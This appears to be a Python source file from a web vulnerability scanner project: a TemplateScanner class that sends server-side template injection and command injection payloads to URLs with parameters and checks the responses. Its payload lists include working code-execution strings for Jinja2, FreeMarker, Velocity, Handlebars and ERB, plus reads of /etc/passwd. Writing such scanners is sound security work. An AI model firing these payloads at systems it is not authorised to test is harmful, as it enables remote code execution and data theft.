-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtemplate_scanner.py
More file actions
357 lines (312 loc) · 13.7 KB
/
template_scanner.py
File metadata and controls
357 lines (312 loc) · 13.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
import os
import json
import asyncio
import aiohttp
from urllib.parse import urlparse, urlencode
from logger import get_logger
logger = get_logger(__name__)
class TemplateScanner:
def __init__(self):
self.results_dir = "template_results"
os.makedirs(self.results_dir, exist_ok=True)
self.payloads = {
'Jinja2': [
"{{7*7}}",
"{{config}}",
"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}",
"{{''.__class__.__mro__[2].__subclasses__()}}",
"{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}"
],
'Twig': [
"{{7*7}}",
"{{dump(app)}}",
"{{app.request.server.all|join(',')}}",
"{{_self.env.setCache(\"php://filter/read=convert.base64-encode/resource=index.php\")}}"
],
'FreeMarker': [
"${7*7}",
"<#list .data_model?keys as key>${key}</#list>",
"${\"freemarker.template.utility.Execute\"?new()(\"id\")}"
],
'Velocity': [
"#set($x = 7*7)${x}",
"#set($e=\"e\");$e.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"id\")"
],
'Handlebars': [
"{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push \"constructor\"}}{{this.pop}}{{#with string}}{{this.sub \"constructor\" }}{{#with conslist}}{{this.pop}}{{this.push \"return require('child_process').execSync('id')\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 this)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}{{/with}}"
],
'Django': [
"{{ 7*7 }}",
"{% debug %}",
"{% load module %}",
"{% include request.GET.template %}"
],
'ERB': [
"<%= 7*7 %>",
"<%= system('id') %>",
"<%= Dir.entries('/') %>",
"<%= File.open('/etc/passwd').read %>"
]
}
self.command_injection_payloads = [
"; id",
"& id",
"| id",
"|| id",
"` id`",
"$(id)",
"> /dev/null"
]
async def scan(self, url, session):
"""
Main entry point for Template Injection scanning. This method is called from app.py.
Args:
url (str): The main URL/domain to scan
session (aiohttp.ClientSession): The session to use for HTTP requests
Returns:
dict: Results of the Template Injection scan
"""
try:
logger.info(f"Starting Template Injection scan for {url}")
# Check if subdomain scan results are available
from subdomain_scanner import subdomain_scan_results
if subdomain_scan_results and subdomain_scan_results.get("all_urls"):
# Use URLs from subdomain scan
urls_to_scan = subdomain_scan_results.get("all_urls", [])
logger.info(f"Using {len(urls_to_scan)} URLs from subdomain scan for Template Injection testing")
else:
# Fallback to just the provided URL
logger.warning("No subdomain scan results available, using only the provided URL")
urls_to_scan = [url]
# Filter URLs to those with parameters (more likely to be vulnerable to Template Injection)
param_urls = [u for u in urls_to_scan if '?' in u]
if param_urls:
logger.info(f"Found {len(param_urls)} URLs with parameters for Template Injection testing")
# Limit to 20 URLs for performance
scan_results = await self.scan_urls(param_urls[:20])
else:
logger.warning("No URLs with parameters found for Template Injection testing")
scan_results = {}
# Format the results
vulnerabilities = []
for url, result in scan_results.items():
if result and result.get('is_vulnerable'):
for vuln in result.get('vulnerabilities', []):
vulnerabilities.append({
'url': url,
'type': vuln.get('type', 'Template Injection'),
'engine': vuln.get('engine', 'Unknown'),
'payload': vuln.get('payload', ''),
'injection_point': vuln.get('injection_point', ''),
'evidence': vuln.get('evidence', []),
'severity': vuln.get('severity', 'High')
})
# Get unique recommendations
recommendations = set()
for _, result in scan_results.items():
if result and result.get('is_vulnerable'):
recommendations.update(result.get('recommendations', []))
return {
"template_injection_scan": {
"status": "completed",
"urls_scanned": len(param_urls[:20]) if param_urls else 0,
"vulnerabilities_found": len(vulnerabilities),
"vulnerabilities": vulnerabilities,
"recommendations": list(recommendations) if vulnerabilities else []
}
}
except Exception as e:
logger.error(f"Error in Template Injection scan: {e}")
return {
"template_injection_scan": {
"status": "error",
"error": str(e)
}
}
async def scan_urls(self, urls):
"""
Scan multiple URLs for template injection vulnerabilities
"""
try:
logger.info(f"Starting Template Injection scan for {len(urls)} URLs")
results = {}
async with aiohttp.ClientSession() as session:
for url in urls:
result = await self._scan_url(session, url)
if result:
results[url] = result
return results
except Exception as e:
logger.error(f"Error in Template Injection scan: {e}")
return {}
async def _scan_url(self, session, url):
"""
Test a single URL for template injection vulnerabilities
"""
try:
vulnerabilities = []
# Test template injection payloads
for engine, payloads in self.payloads.items():
for payload in payloads:
result = await self._test_template_injection(
session, url, payload, engine
)
if result:
vulnerabilities.append(result)
# Test command injection payloads
for payload in self.command_injection_payloads:
result = await self._test_command_injection(
session, url, payload
)
if result:
vulnerabilities.append(result)
if vulnerabilities:
return {
'is_vulnerable': True,
'vulnerabilities': vulnerabilities,
'recommendations': [
"Use template engine security mode",
"Implement proper input validation",
"Avoid using user input in template contexts",
"Use sandboxed template environments",
"Implement proper output encoding",
"Regular security audits of template usage",
"Consider using safer alternatives to templates where possible"
],
'risk_level': 'Critical' if any(v['severity'] == 'Critical' for v in vulnerabilities) else 'High'
}
return None
except Exception as e:
logger.error(f"Error scanning URL {url}: {e}")
return None
async def _test_template_injection(self, session, url, payload, engine):
"""
Test a specific template injection payload
"""
try:
# Test in URL parameters
test_url = self._inject_payload_in_url(url, payload)
async with session.get(
test_url,
timeout=10,
allow_redirects=True
) as response:
content = await response.text()
# Check for successful template injection
if await self._check_template_injection(content, payload, engine):
return {
'type': 'Template Injection',
'engine': engine,
'payload': payload,
'injection_point': 'URL Parameter',
'evidence': await self._extract_evidence(content),
'severity': 'Critical'
}
# Test in POST data
async with session.post(
url,
data={'param': payload},
timeout=10,
allow_redirects=True
) as response:
content = await response.text()
if await self._check_template_injection(content, payload, engine):
return {
'type': 'Template Injection',
'engine': engine,
'payload': payload,
'injection_point': 'POST Data',
'evidence': await self._extract_evidence(content),
'severity': 'Critical'
}
return None
except Exception as e:
logger.error(f"Error testing template injection payload: {e}")
return None
async def _test_command_injection(self, session, url, payload):
"""
Test a specific command injection payload
"""
try:
test_url = self._inject_payload_in_url(url, payload)
async with session.get(
test_url,
timeout=10,
allow_redirects=True
) as response:
content = await response.text()
# Check for command injection indicators
if await self._check_command_injection(content):
return {
'type': 'Command Injection',
'payload': payload,
'injection_point': 'URL Parameter',
'evidence': await self._extract_evidence(content),
'severity': 'Critical'
}
return None
except Exception as e:
logger.error(f"Error testing command injection payload: {e}")
return None
def _inject_payload_in_url(self, url, payload):
"""
Inject payload into URL parameters
"""
parsed = urlparse(url)
if parsed.query:
return f"{url}&template={payload}"
return f"{url}?template={payload}"
async def _check_template_injection(self, content, payload, engine):
"""
Check if template injection was successful
"""
indicators = {
'Jinja2': ['49', 'os.', '__builtins__', '__globals__'],
'Twig': ['49', 'app.', 'server.'],
'FreeMarker': ['49', '.data_model', 'Execute'],
'Velocity': ['49', 'java.lang.Runtime'],
'Handlebars': ['child_process', 'execSync'],
'Django': ['49', 'debug', 'module'],
'ERB': ['49', 'system', 'Dir.entries']
}
# Check for mathematical evaluation
if '49' in content and '7*7' in payload:
return True
# Check for engine-specific indicators
return any(indicator in content for indicator in indicators.get(engine, []))
async def _check_command_injection(self, content):
"""
Check if command injection was successful
"""
indicators = [
'uid=',
'gid=',
'groups=',
'/bin/bash',
'root:x:',
'daemon:x:'
]
return any(indicator in content for indicator in indicators)
async def _extract_evidence(self, content):
"""
Extract evidence of successful injection
"""
evidence = []
# Look for sensitive data
if 'uid=' in content or 'gid=' in content:
evidence.append("System user information leaked")
if '__builtins__' in content:
evidence.append("Python builtins exposed")
if 'java.lang.Runtime' in content:
evidence.append("Java runtime information exposed")
if '/etc/passwd' in content:
evidence.append("System file access detected")
if 'child_process' in content:
evidence.append("Command execution capability detected")
return evidence if evidence else ["Suspicious template evaluation detected"]
def _validate_response(self, response_content):
"""
Validate if the response indicates a successful injection
"""
# Add custom validation logic based on response patterns
pass